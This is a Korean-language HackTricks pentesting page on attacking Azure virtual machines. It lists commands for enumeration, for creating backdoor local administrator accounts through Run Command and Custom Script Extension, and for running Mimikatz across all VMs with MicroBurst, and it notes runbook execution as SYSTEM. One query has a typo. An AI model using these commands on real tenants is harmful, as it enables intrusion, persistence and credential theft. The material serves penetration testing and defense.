Az - Virtual Machines & Network

HackTricks 지원

기본 정보

문서에서: Azure 가상 머신은 Azure가 제공하는 여러 유형의 온디맨드, 확장 가능한 컴퓨팅 리소스 중 하나입니다. 일반적으로 다른 선택지보다 컴퓨팅 환경을 더 세밀하게 제어해야 할 때 가상 머신을 선택합니다. 이 문서에서는 가상 머신을 생성하기 전에 고려해야 할 사항, 생성 방법 및 관리 방법에 대한 정보를 제공합니다.

Azure 네트워크 정보

Azure 네트워크에는 다양한 엔티티 및 구성 방법이 포함되어 있습니다. 다양한 Azure 네트워크 엔티티의 간단한 설명, 예제열거 명령어를 찾을 수 있습니다:

Az - Azure Network

Azure Bastion

Azure Bastion은 Azure 포털을 통해 SSL을 통해 안전하게 완전히 관리되는 RDP (원격 데스크톱 프로토콜) 및 SSH (보안 셸) 액세스 솔루션을 제공합니다. Azure 가상 네트워크 내에 통합되어 있어 개인 IP를 사용하여 VM에 RDP 및 SSH 연결을 허용하므로 공개 IP 할당 및 NSG 규칙 구성이 필요하지 않습니다. 이는 공개 IP 할당 및 NSG 규칙 구성을 피하고 VM 액세스를 위한 전통적인 방법보다 안전하고 편리한 대안입니다. 개발자 및 IT 직원은 웹 브라우저를 사용하여 Azure 포털에서 VM에 안전하게 액세스할 수 있어 개발 및 테스트 환경의 프로세스를 간소화할 수 있습니다.

구독 내 모든 Azure Bastion 호스트를 나열하려면 다음 명령어를 사용할 수 있습니다:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

VM 열거

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

가상 머신에서 명령 실행

VM에서 AAD 로그인

AzureAD를 통해 인증된 사용자들에게 액세스 권한을 부여하는 것이 가능합니다. 예를 들어 linux VM에 액세스하려고 시도할 때: ssh username@azure-corp.com@1.1.1.1 (로그인 시 사용한 azurecorp 이메일을 사용하는 것이 중요합니다) 이와 같은 오류가 발생할 수 있습니다:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

지침을 따르세요 https://microsoft.com/devicelogin으로 이동하고 코드를 입력한 후, 이메일과 비밀번호를 자격 증명으로 사용하여 SSH를 통해 연결할 수 있습니다 (해당 사용자가 충분한 권한을 가지고 있다면: Virtual Machine Administrator Login 또는 Virtual Machine User Login 역할).

Run Command

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

사용자 지정 스크립트 익스텐션 실행

Azure 가상 머신 (VM) 익스텐션은 작은 응용 프로그램으로, Azure VM에서 배포 후 구성 및 자동화 작업을 제공합니다. 예를 들어, 가상 머신에 소프트웨어 설치, 백신 프로그램 보호 또는 내부 스크립트 실행이 필요한 경우 VM 익스텐션을 사용할 수 있습니다.

따라서 쓰기 액세스가 있는 경우 임의의 코드를 실행할 수 있습니다:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

원하는 구성 상태 (DSC)는 코드를 통해 호스트를 설정하는 데 사용되는 Ansible과 유사한 PowerShell 도구입니다. DSC는 Azure와 통합되어 특정 구성 파일을 업로드할 수 있습니다. 이러한 파일은 엄격한 구문에 준수해야 합니다. 특히 Azure의 DSC 확장은 특정 형식 기준을 충족하는 파일에서 명령을 실행할 수 있습니다. 구문이 DSC 표준에 맞지 않더라도 제공된 그림에서 확인할 수 있듯이 명령을 실행할 수 있습니다.

이러한 명령의 실행은 Az PowerShell의 Publish-AzVMDscConfiguration 함수에 의해 용이하게 이루어집니다. 요구 사항에는 정의된 함수가 포함된 .PS1 파일과 해당 파일이 .zip 파일로 압축되어 있어야 합니다. DSC에 대한 구문이 정확하지 않더라도 코드는 여전히 실행됩니다. 그러나 확장은 실행 상태를 "실패"로 표시하고 명령에서의 출력은 실패 메시지에 의해 덮어씌워져 보이지 않습니다.

VM Application Definitions

VM Application Definitions을 사용하면 버전화된 응용 프로그램을 Azure VM에 반복 배포할 수 있습니다. 이 리소스는 VM 간에 응용 프로그램을 배포하고 업데이트하는 것을 지원합니다. 이를 설정하려면 Az PowerShell의 New-AzGalleryApplication 및 **New-AzGalleryApplicationVersion**과 같은 명령을 포함하는 여러 단계가 필요합니다.

이 방법을 통해 응용 프로그램이나 명령을 실행하는 것은 **"VMAppExtension"**을 통해 이루어집니다. 이는 응용 프로그램이 VM에 적용될 때 자동으로 설치됩니다. 확장은 지정된 URI에서 파일을 검색하고 응용 프로그램과 동일한 이름으로 확장자 없이 파일을 저장합니다. 파일을 올바르게 실행하려면 REST API 호출에서 "ManageActions" 필드를 구성하여 파일을 적절한 확장자로 이름을 변경해야 합니다. 이 방법의 설정이 완료되면 제공된 그림에 표시된 구조와 유사해집니다.

그러나 이 실행 방법은 비교적 느리며, 응용 프로그램이나 명령을 실행하는 데 약 3-4분이 소요됩니다. 이 프로세스와 관련된 파일은 특정 디렉토리에 저장됩니다 (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\는 응용 프로그램 복사용이고 C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\는 실행 상태용입니다).

두 기술은 각각 고유한 요구 사항, 단계 및 고려 사항을 갖추고 있어 Azure 환경에서 명령을 실행하고 응용 프로그램을 배포하는 독특한 방법을 제공합니다.

Azure의 Hybrid Worker Groups (HWGs)

Azure의 Hybrid Worker Groups (HWGs)는 지정된 HWG의 일부인 Azure 가상 머신(VM)에서 구성된 Automation Account에 있는 Runbook을 실행할 수 있는 기능입니다. 이 실행은 VM에 설치된 확장을 통해 VM에 Runbook 코드를 배포합니다. 이 프로세스의 중요한 측면은 코드가 실제 자격 증명에 영향을 받지 않고 실행되는 것입니다. 이는 코드가 특정 권한으로 실행되므로 실제 자격 증명이 필요하지 않습니다. 이 프로세스는 제공된 그림에서 나타난 것처럼 SYSTEM 또는 root로 실행됩니다.

Windows 10 VM을 사용하는 사용자에게 중요한 세부 정보는 Runbook에 대한 PowerShell 버전을 명시해야 한다는 것입니다. PowerShell 버전은 7.1이 아닌 5.1로 설정되어야 합니다. 이 요구 사항은 PowerShell 7.1이 이러한 VM에 기본적으로 설치되지 않기 때문에 7.1 버전이 지정된 경우 스크립트 실행이 실패할 수 있기 때문입니다.

Azure의 이러한 기능은 하이브리드 환경에서 작업을 자동화하고 관리하는 강력한 방법을 제공하여 Azure VM에서 작업을 중앙 집중식으로 관리하고 실행할 수 있습니다.

참고 자료

HackTricks 지원

Last updated